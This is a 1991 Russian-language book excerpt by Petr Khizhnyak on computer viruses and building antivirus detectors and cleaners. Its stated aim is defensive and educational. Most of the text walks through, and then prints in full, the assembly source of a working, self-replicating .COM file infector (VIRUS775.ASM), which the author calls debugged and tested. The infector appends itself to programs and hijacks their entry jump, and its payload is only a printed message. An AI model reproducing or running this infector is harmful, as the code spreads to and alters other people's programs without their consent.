Петр Хижняк
INTO
ISBN 5-86028-011-4
1991
Петр Львович Хижняк известен советстким пользователям IBM-совместимых компьютеров по его книге "Lotus 1-2-3. Справочное руководство" (M.: издательство Агентства Печати Новости, 1990 г. - 260 с.).
В 1988 г. он читал курс лекций по применению во Флоридском государственном университете (США).
Именно там он близко познакомился с компьютерными вирусами и разаработал некоторые концепции защиты от вирусов при работе группы пользователей на персональном компьютере.
Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними.
Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему.
Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов.
Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе.
Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на место первых трех байт этой программы записывает код короткого перехода по адресу входа в свою программу, предварительно сохранив исходные три байта в своей внутренней области данных или в стеке.
После этого вирус перезаписывает модифицированный .COM-файл на магнитный диск. При этом изменяется длина исходного файла. В принципе, возможно существование вирусов, не изменяющих длину заражаемого файла. В этом случае код исходного файла должен храниться в зараженном файле в архивированном виде или же код вируса и частично "лишний" код исходного файла должны храниться в сбойных секторах или в системной области магнитного диска.
После заражения файла (или вместо этого) вирус может заняться вредоносной деятельностью (хотя заражение файлов - вещь и так достаточно неприятная). Завершив выполнение всего, что наметил его автор, вирус восстанавливает (только в памяти компьютера!) исходные три байта той программы, которая передала ему управление и осуществляет переход на начало этой программы.
Поскольку в .COM-файле, если не принимать специальных мер, адрес входа всегда равен 100h, то для передачи управления по этому адресу вирус может использовать длинный переход и не рассчитывать относительное смещение адреса, учитывающее длину заражаемой программы.
Таким образом, сначала всегда выполняется код вируса, а затем - сама зараженная программа. У пользователя может создаться впечатление, что все в порядке (ведь программа отработала нормально!). Действия же вируса, как правило, незаметны и выполняются в течение очень короткого промежутка времени.
Схема работы вируса в зараженной программе приведена на рис 1.
Far JMP 100h +---------------------<---------------------------+ | | +-+-+-+------------------+--------------+-+-+-+----+ | | | | | | | | | | | JMP | COM file | Virus body | | | | | | | | | | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | 3 bytes +----------------->-------------+ 100h Near JMP
Рисунок 1. Схематическое изображение принципа работы вируса в зараженной .COM-программе.
Существуют различные типы антивирусных программ и технических средств. Например, резидентые перехватчики системных прерываний и прерываний BIOS, программы-ревизоры, проверяющие длины и контрольные суммы файлов и др.
Мы расскажем читателю лишь о двух типах антивирусных программ - детекторах и фагах. Первые лишь обнаруживают наличие вируса и указывают его место положения. Вторые "лечат" программы, т.е. "выкусывают" вирус из зараженной программы и (иногда полностью, иногда почти полностью) приводят программу к прежнему виду.
Восстановление 3-х первых байт +-+-+-----------------<-----------------+-+-+ | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | | | | | | | | | | JMP | COM file | Virus body | | | | | | | | | | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | +-------------------------+ Выкусывание "хвоста", содержащего вирус
Рисунок 2. Схематическое изображение принципа восстановления антивирусом (фагом) зараженной .COM-программы.
Очевидно, что идеальная антивирусная программа, предназначенная для восстановления зараженных файлов (т.е. для приведения их к исходному виду), должна проделать всю работу, которую проделал вирус, в обратном порядке. A именно:
Помимо указанных действий грамотно написанная антивирусная программа-фаг по ходу работы должна выполнять многочисленные проверки, чтобы вместо "лечения" не испортить зараженную (или даже здоровую!) программу.
Например, программа-фаг обязательно должна работать совместно с программой-детектором или (еще лучше) составлять с ней одно целое. Таким образом будет обеспечено "лечение" лишь действительно зараженных данным вирусом программ. Программа-фаг, всегда ориентирована на борьбу с конкретным вирусом (или группой определенных вирусов) и совершенно не приспособлена к борьбе со всеми остальными. Достаточно бывает внести в код вируса совершенно незначительные изменения - и эффективно работавший фаг станет бессилен в борьбе с новым штаммом. Более того, программа-фаг может в этом случае перестать "лечить" зараженные файлы, а лишь будет безвозвратно их портить. Поэтому при пользовании антивирусными программами-фагами следует придерживаться ряда предосторожностей:
Борьба с компьютерными вирусами на профессиональном уровне предполагает хорошее знание работы вирусов на уровне кода. То есть разработчику антивирусных программ необходимо знакомство не только с основными принципами действия вирусов, но и со способами программной реализации этих принципов. Особенно это относится к случаям борьбы с новыми, неизвестными ранее вирусами или с новыми штаммами вирусов, для которых не существует стандартных средств (программ) для их обнаружения и нейтрализации последствий их разрушительных действий.
В данной главе приводится текст программы (отлаженной и проверенной в действии), имитирующей работу простейшего файлового вируса, заражающего .COM-программы. Данная программа без всяких изъятий проделывает все то, на что способен простой .COM-вирус, т.е. проверяет наличие не зараженных данным вирусом программ на диске (чтобы не заражать одну и ту же программу дважды), заражает такую программу - и вместо выполнения троянской компоненты вируса выдает на экран сообщение о том, что произошло заражение программы. После первого заражения какого-либо .COM-файла с помощью данной программы вирус начинает самостоятельную жизнь и способен выполнять все вышеуказанные действия при каждом запуске зараженной программы.
Не предполагая у читателя досконального знания языка ассемблера, прерываний и функций MS-DOS и BIOS, мы будем давать по возможности полные комментарии к каждой структурной части программы-вируса и антивируса.
Все .COM-программы начинаются почти одинаково: со своеобразного заголовка .COM-программы, указывающего стандартные совпадающие сегментные регистры кода (cs) и данных (ds) и адрес начала кода, равный 100h, т.е. сразу за сегментным префиксом программы (PSP), который располагается по нулевому смещению и занимает 100h байт.
CSEG segment assume cs:cseg,ds:cseg,es:cseg org 100h START:
Содержимое регистра расширенного сегмента данных (es), который может использоваться в программе для операций со строками данных, пока тоже оставим равным содержимому регистра cs.
Поскольку, как показано выше, работа вируса начинается с выполнения трехбайтовой команды близкого перехода на начало кода вируса, мы запишем эту команду сразу за меткой START.
Далее, необходимо учесть отличие программы, запускающей вирус, от вируса в "чистом" виде, которое заключается в том, что эта программа после завершения работы, в отличие от вируса, внедрившегося в программу, должна передать управление DOS, а не программе-носителю вируса. Чтобы отличить запускающую программу от вируса, запишем идентифицирующий код (например 0FFFFh) сразу за командой перехода на начало запускающей программы.
START: db 0E9h dw 15h ; Near jurp to RESTORE_3_BYTES ID dw 0FFFFh org 110h VIRUS:
Обратите внимание на необычность записи команды близкого перехода. Эта команда записана непосредственно в виде машинного кода (0Е9h) и относительного смещения перехода (15h), которое вычисляется по сумме длин команд и данных, расположенных перед началом основной программы (метка RESTORE_3_BYTES). Относительное смещение перехода будет вычисляться вирусом при заражении программы, и следовательно вместо смещения 15h в зараженной программе будет сгоять совершенно другое число. Команда org 110h, предписывающая ассемблеру располагать следующие за ней коды со смещения 110h, записана для удобства расчета адреса перехода и для обеспечения резерва области данных запускающей программы.
После получения управления наш вирус прежде всего восстанавливает первые три байта исходной программы, которые он хранит в своей области данных, расположенной сразу за кодом вируса (метка BYTES_3). В запускающей программе сегмент кода и сегмент данных вируса совпадают. Однако в зараженной программе область данных вируса отодвигается как минимум на количество байт, равное собственной (прежней) длине зараженной программе. Поэтому в вирусе необходимо предусмотреть приращение содержимого сегмента данных (ds) на величину, равную округленной в большую сторону исходной длине зараженной программы по модулю 10h (т.к. число, хранящееся в регистре ds, по определению, принятому для семейства процессоров 80x86, в 10h раз меньше абсолютного смещения сегмента данных).
VIRUS: push ds mov ax,cs db 00000101b ; Add ax,imed NEW_DS dw 0FFFFh ; 0FFFFh should be replaced mov ds,ax ; Define new ds segment RESTORE_3_BYTES: mov al,BYTES_3[0] ; Restore first 3 bytes mov byte ptr cs:[100h],al mov al,BYTES_3[1] mov byte ptr cs:[101h],al mov al,BYTES_3[2] mov byte ptr cs:[102h],al
Поскольку длина заражаемой программы заранее не известна, мы записали команду, корректирующую ds непосредственным прибавлением к его содержимому соответствующего числа, также как и первую команду перехода, в виде машинного (двоичного) кода 00000101b (Add ax,imed). Слово, которое следует за этой командой (пока это 0FFFFh), должно представлять собой число, которое прибавляется командой 00000101b. Это число будет подставлено вирусом по адресу, определяемому меткой NEW_DS.
Далее, поскольку, вирус будет пользоваться функциями DOS, для выполнения операций с файлами, необходимо предусмотреть возможность выделения DTA (Data Transfer Area) для этих целей. Наш вирус будет пользоваться DTA зараженной программы, но поскольку при этом содержимое DTA, которое необходимо зараженной программе для ее нормальной работы (после передаче ей вирусом управления), будет испорчено, сохраним DTA в области данных вируса, выделив для этого целых 100h байт (т.е. для сохранения общности будем хранить целиком PSP).
STORE_DTA: mov cx,100h mov Ьх,0 DTA_S: mov al,byte ptr cs:[bx] mov byte ptr DTA[bx],al inc bx loop DTA_S
Таким образом, мы подготовили практически все необходимое для дальнейшей работы вируса (или запускаюшей вирус программы). Работа запускающей программы отличается от работы вируса тем, что она не производит реальных действий по восстановлению первых трех байт (эта работа для запускающей программы является холостой), и не производит корректировки содержимого регистра данных ds. Однако как вирус, так и запускающая программа имеют одинаковую по структуре область (сегмент) данных, расположенную в самом конце. Поскольку мы сразу активно оперируем данными, приведем структуру этой области уже теперь.
FMASK db '*.COM',0h FNAME db 12 dup (?),0h FLENOLD dw (?) ; Length of file FLEN dw (?) ; Corrected length of file HANDLE dw 0FFFFh ; File handle number JMPVIR db 0E9h ; JMP code JMP_L db (?) JMР_H db (?) ; 3 bytes for virus JMP BYTES_3 db 3 dup (?) ; Original 3 bytes db (?) DTA db 101h dup (?) MSG db 0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' VIRLEN equ $-VIRUS CSEG ends end START
Тот факт, что область данных нашего вируса расположена в самом конце программы, отражен наличием команд CSEG ends и end START.
Поскольку мы глубоко продумали алгоритм работы вируса и хорошо представляем себе данные, которыми он будет оперировать, мы можем описать и объяснить все, что хранится в этой области.
FMASK db '*.COM'.Oh
Строка FMASK в формате ASCIIZ длиной 6 байт содержит маску имен файлов, которые вирус будет просматривать в поиске новой "жертвы". Это все файлы с расширением .COM.
FNAME db 12 dup (?),0h
Строка FNАМЕ длиной 13 байт представляет собой место, зарезервированное для хранения имени файла-жертвы с расширением в формате ASCIIZ
FLENOLD dw (?) ; Length of file
Слово FLENOLD зарезервировано для хранения длины файла-жертвы, поскольку с этой величиной вирус будет проаодить различные манипуляции при расчете новой длины уже зараженного файла.
FLEN dw (?) ; Corrected length of file
Слово FLEN зарезервировано для хранения скорректированной (новой) длины файла, уже зараженного вирусом.
HANDLE dw 0FFFFh ; File handle number
Слово HANDLE зарезервировано для хранения логического номера (handle) открываемого файла. В случае, когда вирусом не было открыто ни одного файла, в этом слове хранится число 0FFFFh.
JMPVIR db 0E9h ; JMP code JMP_L db (?) JMP_H db (?) ; 3 bytes for virus JMP
Байт JMPVIR хранит константу 0Е9h, представляющую собой код близкого перехода.
Байты JMP_L и JMP_Н зарезервированы для хранения, соответственно, младшей и старшей части смещения, являющегося частью команды перехода. Это смещение рассчитывается вирусом в процессе заражения файла.
BYTES_3 db 3 dup (?) ; Original 3 bytes db (?)
Три байта под меткой BYTES_3 зарезервированы для хранения исходных трех байт программы-жертвы. Эти байты подставляются обратно по смещению 100h (в памяти) перед передачей управления программе-носителю вируса. Еще один байт - резерв.
DTA db 101h dup (?)
Сто байт отведено (метка DTA) для хранения области PSP (Program Segment Prefix), включающей в себя DTA (Data Transfer Area), и один байт - резерв.
MSG db 0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
Меткой MSG обозначена ASCII строка, которую выдает на экран вирус при заражении очередной программы. Это - единственное "вредное" действие, совершаемое нашим вирусом (не считая, конечно, самого заражения .COM-программ).
VIRLEN equ $-VIRUS
Константа VIRLEN не занимает места в области данных. Эта величина равна длине кода вируса, который приписывается в "хвост" заражаемой программы (знак $ означает текущий адрес, а метка VIRUS - смещение начала кода вируса).
Знак '$', расположенный в строке MSG является последним кодом вируса. Наш вирус будет использовать этот код для проверки, не заражен ли уже данным вирусом намечаемый файл-жертва. Сразу же хочется отметить, что этот факт может быть использован для вакцинации (защиты) программ от данного вируса. Для этого достаточно лишь приписать код '$' в конец защищаемой программы. К сожалению, этот прием не спасает от других вирусов. Кроме того, если поверх нашего вируса "сел" другой, то наш вирус заразит данную программу еще раз.
Наш вирус - простейший. В нем отсутствуют наиболее мощные средства работы с файловой системой DOS. Поэтому этот вирус способен отыскивать потенциальные жертвы лишь в текущем каталоге, из которого запущена программа-носитель вируса. Для этого наш вирус использует функции DOS 4Eh (Find first matching file) и 3Eh (Find next matching file), которые осуществляют поиск файла по заданному шаблону (у нас это ASCIIZ строка с меткой FMASK:
FMASK db '*.COM',0h
Помимо соответствия имени файла шаблону, его атрибуты также должны соответствовать атрибутам, заданным в регистре сх перед вызовом функции 4Eh (или 3Еh). Функция DOS находит файл, атрибуты которого разрешены маской. Единичный бит в маске означает, что соответствующий бит в байте атрибутов может быть как единичным, так и нулевым; нулевой бит в маске означает, что соответствующий бит в байте атрибутов файла может быть только нулевым. Таким образом, если маска атрибута (содержимое регистра сх) равна, например, 00100001, а байт атрибутов файла равен 00100000 или 00100001, то этот файл будет найден DOS. А файл с байтом атрибутов 00100010 найден не будет.
FIND_FIRST: lea dx,FMASK mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ah,4Eh int 21h ; Find first .COM file jnc STORE_FNAME jmp ERR
Если файла, соответствующего заданному шаблону и маске атрибутов найдено не было (или произошла ошибка), управление передается на метку ERR, в противном случае - на метку STORE_FNAME (сохранить имя файла).
Поскольку среди найденных файлов могут оказаться те, которые вирусу "не подходят" (например, их длина слишком велика, или они уже заражены данным вирусом), здесь же следует предусмотреть поиск следующего файла, соответствующего шаблону (пометим этот блок программы меткой FIND_NEXT). Обращение к этому блоку будет делаться позже, после всех необходимых проверок.
FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh mov ah,4Fh int 21h jnc STORE_FNAME jmp ERR
Очевидно, что перед тем, как найти следующий файл, соответствующий шаблону, необходимо закрыть предыдущий. Это делают первые четыре оператора, следующие за меткой FIND_NEXT (функция DOS 3Eh). При этом в слово HANDLE засылается число 0FFFFh, которое, как мы договорились, является признаком того, что все открытые нами файлы закрыты.
Если подходящий файл найден (а таким файлом наш вирус "считает" .COM-файлы с не установленными атрибутами "read-only", "system" и "hidden" (атрибут "archive" ему безразличен), то необходимо сохранить имя файла с тем, чтобы затем воспользоваться функциями, использующими для операций чтения и записи его логический номер (handle).
STORE_FNAME: cmp byte ptr cs:[95h],00000001b ; Test r/o attribute je FIND_NEXT ; if r/o is set, do not infect mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR
Заметим, что в блоке с меткой STORE_FNAME дополнительно проверяется атрибут "read-only". Это совершенно не обязательно в данной программе, так как наша маска атрибутов и так не допускает поиска файлов с этим атрибутом. Дополнительная проверка введена лишь как иллюстрация того, что любой атрибут можно проверить, считав байт атрибутов из DTA по смещению 95h (ведь наш вирус, несмотря на его реальность - все же учебный).
Имя файла хранится в DTA в формате ASCIIZ (т.е. без пробелов и заканчивается нулевым кодом, длина его с расширением не более 13 символов, включая нулевой код) начиная со смещения 9Eh.
Если бы мы хотели, чтобы наш вирус заражал любые .COM-файлы (в том числе системные, скрытые и "только-для-чтения") мы должны были бы установить маску атрибутов при поиске подходящего файла равной 00100111, а после того, как подходящий файл найден, изменить его атрибут "read-only" с тем, чтобы этот файл можно было модифицировать (ведь именно этим и занимается вирус). И хотя для нас это также необязательно, тем не менее покажем, как вирус может изменять атрибуты файла.
SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR
Теперь пора открывать файл с помошью handle- ориентированной функции DOS 3D (02) - открыть файл в режиме чтения/записи (handle файла после его открытия хранится в регистре ах, надо не забыть его сохранить).
READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/write mode int 21h ; Open a file jnc READ_3_BYTES jmp ERR
Теперь, когда файл успешно открыт (а в случае ошибки - переход на метку ERR), можно последовательно сделать следующее. Пока (сразу после открытия файла) указатель стоит на начале файла, считаем и сохраним первые три байта только что открытого файла, а заодно сохраним его handle (логический номер).
READ_3_BYTES: mov HANDLE,ax ; Store handle from ax lea dx,BYTES_3 mov bx,HANDLE mov cx,3 ; Number of bytes to read mov ah,3Fh int 21h ; Read and store first 3 bytes jnc READ_FLEN jmp ERR
Прочитаем длину открытого файла. Для этого обычно устанавливаеют текущий указатель (seek pointer) на конец файла и вызывают функцию DOS 42h (02) (Изменить положение указателя текущей позиции). При этом смещение указателя относительно начала файла (т.е. его длина!) заносится в виде двойного слова в регистры dx (старшая часть) и ах (младшая часть).
READ_FLEN: mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov al,2 ; Relative to EOF mov ah,42h ; Get program length in dx:ax int 21h jnc CHECK_ID jmp ERR
Теперь, вероятно, пора убедиться, что открытый файл не был заражен нашим вирусом ранее. Однако, возможно нам и не потребуется определять наличие индикатора заражения. Это в том, например, случае, если длина открытого файла слишком велика (например, превышает 64 К байт), или же она становится слишком велика после заражения. Для начала рассчитаем округленную до 16 (величина параграфа памяти) длину файла, сохраним эту величину в слове FLEN.
CHECK_ID: mov FLENOLD,ax ; Store length of file test ах,00001111b jz JUST or ах,00001111b inc ax JUST: mov FLEN,ax ; Store corrected length of file cmp ax,64500 jna CALC_DS jmp FIND_NEXT
Заодно рассчитаем и приращение значения сегмента данных (для использования его вирусом в данном файле в случае его заражения) - именно эта величина прибавляется к содержимому регистра ds (разумеется, через регистр ax). Эта операция выполняется операторами, следующими сразу за меткой VIRUS. Вот зачем необходимо округление длины файла до 16 в большую сторону!
CALC_DS: mov cl,4 shr ax,cl ; Calculate new ds segment difference dec ax mov byte ptr NEW_DS[0],al mov byte ptr NEW_DS[1],ah ; Store new ds segment
Вот теперь самое время прочитать последний байт этого файла и убедиться, что он не был заражен нашим вирусом ранее. Напомним, что в качестве такого индикатора мы используем символ '$'.
mov сх,0 mov dx,FLENOLD dec dx mov bx,HANDLE mov al,0 ; Relative to EOF mov al,42h int 21h ; Set seek to last byte of file jnc READ_ID jmp ERR READ_ID: lea dx,BYTES_3[3] mov bx,HANDLE mov cx,1 mov ah,3Fh int 21h ; Read last byte to BYTES_3[3] (ID='$') jnc TEST_ID jmp FIND_NEXT TEST_ID: cmp BYTES_3[3],'$' jne NOT_INFECTED jmp FIND_NEXT ; Check if file is infected
Если файл уже заражен нашим вирусом, то следует перейти к метке FIND_NЕХТ и повторить все операции с самого начала. Если же файл не заражен, то можно произвести окончательную его подготовку к внедрению вируса. Рассчитаем смещение кода вируса относительно начала заражаемого файла (напомним, что вирус записывает себя в конец файла, причем смещение округлено по границе параграфа - хотя вообще говоря это не обязательно).
NOT_INFECTED: mov ax,FLEN ; Calculate JMP address sub ax,03h mov JMP_L,al mov JMP_H,ah ; Store new JMP address
Теперь происходит самое главное: вирус приписывает себя (свой код, включая область данных, где хранятся первые три байта этого файла, скорректированные операторы модификации сегмента данных и т.п.) в конец файла-жертвы.
mov cx,0 mov dx,FLEN mov bx,HANDLE mov ax,4200h ; Set seek to corrected end of file int 21h jc ERR lea dx,VIRUS mov cx,VIRLEN mov bx,HANDLE mov ah,40h int 21h ; Write virus to file jc ERR
Теперь осталось лишь вместо первых трех байт файла-жертвы записать три байта, которые представляют собой команду перехода на начало вируса.
WRITE_JMP: mov cx,0 mov dx,0 mov bx,HANDLE mov al,0 ; Relative to file start mov ah,42h int 21h ; Set seek to 0 jc ERR lea dx,JMPVIR mov сх,3 mov bx,HANDLE mov ah,40h int 21h ; Write new JMP to file jc ERR
Мы договорились, что единственным вредным действием (помимо заражения других программ), которое совершает наш вирус, будет выдача на экран сообщения о том, что заражен очередной файл. Конечно, если заражения не произошло, то и сообщения выдано не будет. Напомним, что текст сообщения хранится в области данных вируса в строке под меткой MSG.
PRINT_MSG: lea dx,MSG mov ah,09h int 21h ; Print a message
Опишем действия вируса в случае возникновения ошибок (к ним мы причисляем и отсутствие файлов, удовлетворяющих шаблону). В этом случае вирус просто передает управление программе-носителю.
ERR: cmp HANDLE,0FFFFh je EXIT CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h ; Close file EXIT: cmp cs:[ID],0FFFFh je GOTO_DOS RESTORE_DTA: mov cx,100h mov bx,0 DTA_R: mov al,byte ptr DTA[bx] mov byte ptr cs:[bx],al inc bx loop DTA_R GOTO_START: mov ax,cs mov ds:[SIART_S],ax pop ds db 0EAh ; Far jmp to START dw 0100h ; START offset START_S dw (?) ; START segment GOTO_DOS: mov ax,4C00h int 21h
Аналогичные действия выполняются и при успешном выполнении вирусом своей программы. Предварительно вирус закрывает зараженный файл и восстанавливает PSP.
Теперь мы можем привести текст нашего вируса (вернее, программы, которая его запускает) целиком.
.8086 PAGE ,132 ;****************************************************** ; VIRUS775.ASM emulates virus activity for .COM files ;****************************************************** CSEG segment assume cs:cseg,ds:cseg,es:cseg org 100h START: db 0E9h dw 15h ; Near jump to RESTORE_3_BYTES ID dw 0FFFFh org 110h VIRUS: push ds mov ax,cs db 00000101b ; Add ax,imed NEW_DS dw 0FFFFh ; 0FFFFh should be replaced mov ds,ax ; Define new ds segment RESTORE_3_BYTES: mov al,BYTES_3[0] ; Restore first 3 bytes mov byte ptr cs:[100h],al mov al,BYTES_3[1] mov byte ptr cs:[101h],al mov al,BYTES_3[2] mov byte ptr cs:[102h],al STORE_DTA: mov cx,100h mov bx,0 DTA_S: mov al,byte ptr cs:[bx] mov byte ptr DTA[bx],al inc bx loop DTA_S FIND_FIRST: lea dx,FMASK mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ah,4Eh int 21h ; Find first .COM file jnc STORE_FNAME jmp ERR FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh mov ah,4Fh int 21h jnc STORE_FNAME jmp ERR STORE_FNAME: cmp byte ptr cs:[95h],00000001b ; Test r/o attribute je FIND_NEXT ; if r/o is set, do not infect mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/write mode int 21h ; Open a file jnc READ_3_BYTES jmp ERR READ_3_BYTES: mov HANDLE,ax ; Store handle from ax lea dx,BYTES_3 mov bx,HANDLE mov cx,3 ; Number of bytes to read mov ah,3Fh int 21h ; Read and store first 3 bytes jnc READ_FLEN jmp ERR READ_FLEN: mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov al,2 ; Relative to EOF mov ah,42h ; Get program length in dx:ax int 21h jnc CHECK_ID jmp ERR CHECK_ID: mov FLENOLD,ax ; Store length of file test ax,00001111b jz JUST or ax,00001111b inc ax JUST: mov FLEN,ax ; Store corrected length of file cmp ax,64500 jna CALC_DS jmp FIND_NEXT CALC_DS: mov cl,4 shr ax,cl ; Calculate new ds segment difference dec ax mov byte ptr NEW_DS[0],al mov byte ptr NEW_DS[1],ah ; Store new ds segment mov cx,0 mov dx,FLENOLD dec dx mov bx,HANDLE mov al,0 ; Relative to EOF mov ah,42h int 21h ; Set seek to last byte of file jnc READ_ID jmp ERR READ_ID: lea dx,BYTES_3[3] mov bx,HANDLE mov cx,1 mov ah,3Fh int 21h ; Read last byte to BYTES_3[3] (ID='$') jnc TEST_ID jmp FIND_NEXT TEST_ID: cmp BYTES_3[3],'$' jne NOT_INFECTED jmp FIND_NEXT ; Check if file is infected NOT_INFECTED: mov ax,FLEN ; Calculate JMP address sub ax,03h mov JMP_L,al mov JMP_H,ah ; Store new JMP address mov cx,0 mov dx,FLEN mov bx,HANDLE mov ax,4200h ; Set seek to corrected end of file int 21h jc ERR lea dx,VIRUS mov cx,VIRLEN mov bx,HANDLE mov ah,40h int 21h ; Write virus to file jc ERR WRITE_JMP: mov cx,0 mov dx,0 mov bx,HANDLE mov al,0 ; Relative to file start mov ah,42h int 21h ; Set seek to 0 jc ERR lea dx,JMPVIR mov cx,3 mov bx,HANDLE mov ah,40h int 21h ; Write new JMP to file jc ERR PRINT_MSG: lea dx,MSG mov ah,09h int 21h ; Print a message ERR: cmp HANDLE,0FFFFh je EXIT CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h ; Close file EXIT: cmp cs:[ID],0FFFFh je GOTO_DOS RESTORE_DTA: mov cx,100h mov bx,0 DTA_R: mov al,byte ptr DTA[bx] mov byte ptr cs:[bx],al inc bx loop DTA_R GOTO_START: mov ax,cs mov ds:[START_S],ax pop ds db 0EAh ; Far jmp to START dw 0100h ; START offset START_S dw (?) ; START segment GOTO_DOS: mov bx,4C00h int 21h FMASK db '*.COM',0h FNAME db 12 dup (?),0h FLENOLD dw (?) ; Length of file FLEN dw (?) ; Corrected length of file HANDLE dw 0FFFFh ; File handle number JMPVIR db 0E9h ; JMP code JMP_L db (?) JMP_H db (?) ; 3 bytes for virus JMP BYTES_3 db 3 dup (?) ; Original 3 bytes db (?) DTA db 101h dup (?) MSG db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' VIRLEN equ $-VIRUS CSEG ends end START
Прежде чем начать работу по созданию антивирусной программы, необходимо сказать несколько слов о том, что для этого необходимо. Первым условием является наличие у разработчика антивирусной программы хотя бы одного экземпляра файла, зараженного тем вирусом, с которым разрабатываемая антивирусная программа будет бороться. Невозможно создать универсальную антивирусную программу-детектор, которая могла бы обнаруживать любые неизвестные вирусы. Исключение составляют резидентные программы-ревизоры, которые перехватывают прерывания DOS и BIOS, ответственные за обмен с диском, или программы, проверяющие длины и контрольные суммы файлов. Однако и эти программы не являются универсальными в полном смысле этого слова, т.к. существуют т.н. "интеллектуальные" вирусы, которые "обходят" системные прерывания и таким образом данный канал для обнаружения активности вируса становится неэффективным. Достаточно сложной проблемой является также обнаружение загрузочных и драйверных вирусов, поскольку первые не являются файловыми (и они всегда резидентны), а вторые, внедряясь в драйвер путем модификации его заголовка, имитируют работу драйвера таким образом, что становится трудно различить, какая часть работы драйвера (по обмену с диском) санкционирована пользователем или вызывающей драйвер программой, а какая - нет.
Поэтому наиболее эффективным способом обнаружения известных вирусов (в том числе и интеллектуальных) остается просмотр файлов с целью выявить в файле код внедрившегося вируса (или часть этого кода). Следовательно, как признали уже многие компьютерные вирусологи, важной частью систематической борьбы с вирусами является выделение характерных для различных вирусов последовательностей кодов - так называемых сигнатур. Эти сигнатуры должны отвечать двум основным требованиям:
Соблюсти второе требование можно двумя способами:
Расчеты показывают, что при длине сигнатуры в 10 байт вероятность обнаружить данную сигнатуру на диске емкостью 100 Мб (т.е вероятность ложного срабатывания вирусного детектора равна приблизительно одной миллиардной). Разумеется, если в качестве сигнатуры взят участок кода, соответствующий какой-либо часто встречающейся конструкции языка программирования, эта вероятность резко возрастает. Поэтому экспериментальная проверка сигнатуры все же нужна.
Чтобы найти в теле вируса последовательность кодов, которую можно было использовать в качестве сигнатуры, прежде всего нужен сам вирус, т.е. его двоичный (исполняемый) код. Мы можем получить такой код очень просто: достаточно оттранслировать наш вирус при помощью имеющегося в Вашем распоряжении макроассемблера. При этом полезно "попросить" макроассемблер создать листинг нашего вируса, поскольку листинг содержит как ассемблерные команды, так и перемещаемый двоичный код (а именно он нам сейчас и нужен). Кроме того, листинг вируса содержит относительные смещения кодов команд в программе, по которым легко ориентироваться при расчете адресов данных и переходов в теле вируса, которые наш антивирус-фаг будет использовать в своей работе.
Итак...
